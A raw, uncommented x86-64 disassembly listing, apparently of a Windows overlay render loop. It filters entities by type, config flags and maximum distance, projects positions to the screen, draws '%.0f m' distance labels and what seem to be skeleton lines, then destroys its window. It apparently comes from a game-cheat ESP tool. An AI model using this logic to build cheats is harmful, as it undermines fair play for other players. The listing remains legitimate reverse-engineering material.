cmp byte [rbp + 0x290], 0xd
jne 0x1400c3501
cmp byte [rcx + 0xa5], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rbp + 0x30]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e84]
lea rcx, [rbp + 0x528]
vmovss dword [rbp + 0xb4], xmm2
vmovss dword [rbp + 0xb0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x528]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x528]
call fcn.14005fe70
lea rcx, [rbp + 0x30]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0xb8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0xb8], xmm0
vmovss dword [rbp + 0xbc], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 7
jne 0x1400c35fa
cmp byte [rcx + 0xa6], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e88]
lea rcx, [rbp + 0x548]
vmovss dword [rbp + 0xc4], xmm2
vmovss dword [rbp + 0xc0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x548]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x548]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0xc8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0xc8], xmm0
vmovss dword [rbp + 0xcc], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 8
jne 0x1400c36f1
cmp byte [rcx + 0xa7], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rbp + 0x30]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e88]
lea rcx, [rbp + 0x568]
vmovss dword [rbp + 0xd4], xmm2
vmovss dword [rbp + 0xd0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x568]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x568]
call fcn.14005fe70
lea rcx, [rbp + 0x30]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0xd8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0xd8], xmm0
vmovss dword [rbp + 0xdc], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 6
jne 0x1400c37ea
cmp byte [rcx + 0xa8], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e9c]
lea rcx, [rbp + 0x588]
vmovss dword [rbp + 0xe4], xmm2
vmovss dword [rbp + 0xe0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x588]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x588]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0xe8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0xe8], xmm0
vmovss dword [rbp + 0xec], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0xe
jne 0x1400c38e3
cmp byte [rcx + 0xa9], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137ea0]
lea rcx, [rbp + 0x6c8]
vmovss dword [rbp + 0xf4], xmm2
vmovss dword [rbp + 0xf0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6c8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x6c8]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0xf8]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0xf8], xmm0
vmovss dword [rbp + 0xfc], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0xf
jne 0x1400c39dc
cmp byte [rcx + 0xaa], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e94]
lea rcx, [rbp + 0x5a8]
vmovss dword [rbp + 0x104], xmm2
vmovss dword [rbp + 0x100], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x100]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x5a8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x5a8]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x108]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x108], xmm0
vmovss dword [rbp + 0x10c], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0x10
jne 0x1400c3ad5
cmp byte [rcx + 0xab], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137e98]
lea rcx, [rbp + 0x5c8]
vmovss dword [rbp + 0x1d4], xmm2
vmovss dword [rbp + 0x1d0], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x5c8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x5c8]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x118]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x118], xmm0
vmovss dword [rbp + 0x11c], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0x13
jne 0x1400c3bce
cmp byte [rcx + 0xad], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137eac]
lea rcx, [rbp + 0x5e8]
vmovss dword [rbp + 0x124], xmm2
vmovss dword [rbp + 0x120], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x120]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x5e8]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x5e8]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x128]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x128], xmm0
vmovss dword [rbp + 0x12c], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0x15
jne 0x1400c3cc7
cmp byte [rcx + 0xae], 1
jne 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137eb0]
lea rcx, [rbp + 0x608]
vmovss dword [rbp + 0x134], xmm2
vmovss dword [rbp + 0x130], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x130]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x608]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x608]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x138]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x138], xmm0
vmovss dword [rbp + 0x13c], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
movzx eax, byte [rbp + 0x290]
cmp al, 0x23
ja 0x1400c3d3f
bt rdi, rax
jae 0x1400c3d3f
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c3d3f
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x140]
vsubss xmm2, xmm1, xmm10
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x360]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x144], xmm2
vmovss dword [rbp + 0x140], xmm0
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rcx + 0x28], 1
jne 0x1400c4126
cmp byte [rbp + 0x310], 1
jne 0x1400c3db9
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x34]
ja 0x1400c3db9
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x148]
vsubss xmm2, xmm1, xmm10
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x360]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x14c], xmm2
vmovss dword [rbp + 0x148], xmm0
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0x1b
jne 0x1400c3e2d
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x34]
ja 0x1400c4093
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x150]
vsubss xmm2, xmm1, xmm10
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x360]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x154], xmm2
vmovss dword [rbp + 0x150], xmm0
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0x20
jne 0x1400c3ea1
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c4093
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x158]
vsubss xmm2, xmm1, xmm10
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x360]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x15c], xmm2
vmovss dword [rbp + 0x158], xmm0
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0x1a
jne 0x1400c3f9a
cmp byte [rcx + 0xac], 1
jne 0x1400c4093
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c4093
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137ea4]
lea rcx, [rbp + 0x628]
vmovss dword [rbp + 0x164], xmm2
vmovss dword [rbp + 0x160], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x628]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x628]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x168]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x168], xmm0
vmovss dword [rbp + 0x16c], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x290], 0x64
jne 0x1400c4093
cmp byte [rcx + 0xaf], 1
jne 0x1400c4093
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x30]
ja 0x1400c4093
vmovss xmm7, dword [rcx + 0x20]
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137ea8]
lea rcx, [rbp + 0x648]
vmovss dword [rbp + 0x174], xmm2
vmovss dword [rbp + 0x170], xmm0
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm7
lea r8, [rbp + 0x170]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x648]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x648]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x178]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x178], xmm0
vmovss dword [rbp + 0x17c], xmm1
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
cmp byte [rbp + 0x311], 1
jne 0x1400c4126
vmovups xmm0, xmmword [rcx]
vmovss xmm1, dword [rsp + 0x34]
vmovups xmmword [rbp + 0x268], xmm0
vmovups xmm6, xmm0
vmovss xmm0, dword [rsp + 0x30]
vsubss xmm2, xmm1, xmm14
lea rdx, [0x140137eb4]
lea rcx, [rbp + 0x668]
vmovss dword [rbp + 0x180], xmm0
vmovss dword [rbp + 0x184], xmm2
call fcn.14005fc50
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
vmovaps xmm3, xmm15
lea r8, [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x668]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x668]
call fcn.14005fe70
mov rcx, qword [0x1402ed1f0]
mov eax, dword [rbp + 0x438]
cmp eax, 6
jne 0x1400c4223
cmp byte [rcx + 0x29], 1
jne 0x1400c428e
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x38]
ja 0x1400c428e
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
vmovups xmm6, xmmword [rsp + 0x50]
vsubss xmm2, xmm1, xmm10
lea rdx, [0x140137eb4]
lea rcx, [rbp + 0x688]
vmovss dword [rbp + 0x18c], xmm2
vmovss dword [rbp + 0x188], xmm0
call fcn.14005fc50
vmovss xmm3, dword [0x140138234]
mov rcx, qword [0x1402ed1f8]
lea rax, [rsp + 0x40]
lea r8, [rbp + 0x188]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x688]
vmovdqa xmmword [rsp + 0x40], xmm6
call fcn.1400bb5f0
lea rcx, [rbp + 0x688]
call fcn.14005fe70
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rsp + 0x30]
vaddss xmm2, xmm12, dword [rsp + 0x34]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x210]
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x90]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x210], xmm0
vmovss dword [rbp + 0x214], xmm2
mov dword [rsp + 0x20], eax
call fcn.140061d10
mov rcx, qword [0x1402ed1f0]
mov eax, dword [rbp + 0x438]
cmp eax, 5
jne 0x1400c428e
cmp byte [rcx + 0x2a], 0
je 0x1400c428e
vmovss xmm0, dword [rsp + 0x3c]
vcomiss xmm0, dword [rcx + 0x3c]
ja 0x1400c428e
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm1, dword [rsp + 0x34]
vmovss xmm0, dword [rsp + 0x30]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x198]
vsubss xmm2, xmm1, xmm10
mov byte [rsp + 0x28], 0
lea rdx, [rbp + 0x360]
vmovaps xmm3, xmm9
vmovss dword [rbp + 0x19c], xmm2
vmovss dword [rbp + 0x198], xmm0
mov dword [rsp + 0x20], eax
call fcn.140061d10
lea rcx, [rbp + 0x90]
call fcn.14005fe70
lea rcx, [rbp + 0x360]
call fcn.14005fe70
mov rax, qword [0x1402ed1f0]
cmp byte [rax + 0x26], 0
je 0x1400c4481
cmp dword [rbp + 0x300], 0
je 0x1400c4481
mov rdi, r13
nop word [rax + rax]
mov r8d, dword [rdi]
lea rdx, [rbp - 0x80]
mov ebx, dword [rdi + 4]
lea rcx, [rbp + 0x290]
vmovss dword [rbp + 0x88], xmm8
vmovss dword [rbp + 0x8c], xmm8
vmovss dword [rbp + 0x80], xmm8
vmovss dword [rbp + 0x84], xmm8
call fcn.14006fd80
vmovss xmm0, dword [rbp - 0x80]
vucomiss xmm0, xmm8
je 0x1400c4474
vmovss xmm0, dword [rbp - 0x7c]
vucomiss xmm0, xmm8
je 0x1400c4474
vmovss xmm0, dword [rbp - 0x78]
vucomiss xmm0, xmm8
je 0x1400c4474
vmovsd xmm0, qword [rbp - 0x80]
mov eax, dword [rbp - 0x78]
lea r9, [rbp + 0x88]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x2c8]
mov dword [rbp + 0x358], eax
vmovsd qword [rbp + 0x350], xmm0
call fcn.1400625f0
test al, al
je 0x1400c4474
mov r8d, ebx
lea rdx, [rbp + 0x6f4]
lea rcx, [rbp + 0x290]
call fcn.14006fd80
vmovss xmm0, dword [rax]
vucomiss xmm0, xmm8
vmovss dword [rbp - 0x80], xmm0
vmovss xmm1, dword [rax + 4]
vmovss dword [rbp - 0x7c], xmm1
vmovss xmm2, dword [rax + 8]
vmovss dword [rbp - 0x78], xmm2
je 0x1400c4474
vucomiss xmm1, xmm8
je 0x1400c4474
vucomiss xmm2, xmm8
je 0x1400c4474
vmovsd xmm0, qword [rbp - 0x80]
mov eax, dword [rbp - 0x78]
lea r9, [rbp + 0x80]
mov rcx, qword [0x1402ed1f8]
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x2c8]
mov dword [rbp + 0x338], eax
vmovsd qword [rbp + 0x330], xmm0
call fcn.1400625f0
test al, al
je 0x1400c4474
lea rcx, [rsp + 0x50]
call fcn.140003f00
vmovss xmm0, dword [rbp + 0x80]
vmovss xmm1, dword [rbp + 0x84]
vmovss dword [rbp + 0x1a0], xmm0
vmovss xmm0, dword [rbp + 0x88]
vmovss dword [rbp + 0x1a4], xmm1
vmovss xmm1, dword [rbp + 0x8c]
vmovss dword [rbp + 0x1a8], xmm0
vmovss dword [rbp + 0x1ac], xmm1
mov ebx, eax
call fcn.1400089c0
mov r9d, ebx
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x1a8]
mov rcx, rax
vmovss dword [rsp + 0x20], xmm11
call fcn.140035390
add rdi, 8
cmp rdi, r12
jne 0x1400c42d0
lea rcx, [rbp + 0x418]
lea rbx, [rbp + 0x2a0]
lea rdi, [rbp + 0x308]
lea rsi, [rbp + 0x3f8]
call fcn.14005fe70
mov rcx, rsi
call fcn.14005fe70
mov rcx, rdi
call fcn.14005f9a0
mov rcx, rbx
call fcn.14005fe70
add r14, 0x90
lea rsi, str._:.0f_m
movabs rdi, 0xef3d60022
cmp r14, r15
jne 0x1400c2bb1
mov rcx, qword [0x1402ed1f8]
lea rsi, str._:.0f_m
call fcn.14006bd30
cmp dword [rbp + 0x448], 0x12
jne 0x1400c2a80
vmovaps xmm15, xmmword [rsp + 0x890]
vmovaps xmm14, xmmword [rsp + 0x8a0]
vmovaps xmm13, xmmword [rsp + 0x8b0]
vmovaps xmm12, xmmword [rsp + 0x8c0]
vmovaps xmm11, xmmword [rsp + 0x8d0]
vmovaps xmm10, xmmword [rsp + 0x8e0]
vmovaps xmm9, xmmword [rsp + 0x8f0]
vmovaps xmm8, xmmword [rsp + 0x900]
vmovaps xmm7, xmmword [rsp + 0x910]
vmovaps xmm6, xmmword [rsp + 0x920]
call fcn.14003d1a0
call fcn.14003da00
xor ecx, ecx
call fcn.140006930
mov rcx, qword [0x1402ed1f8]
mov rcx, qword [rcx + 0x48]
call qword [sym.imp.USER32.dll_DestroyWindow]
lea r11, [rsp + 0x930]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400e2864
int3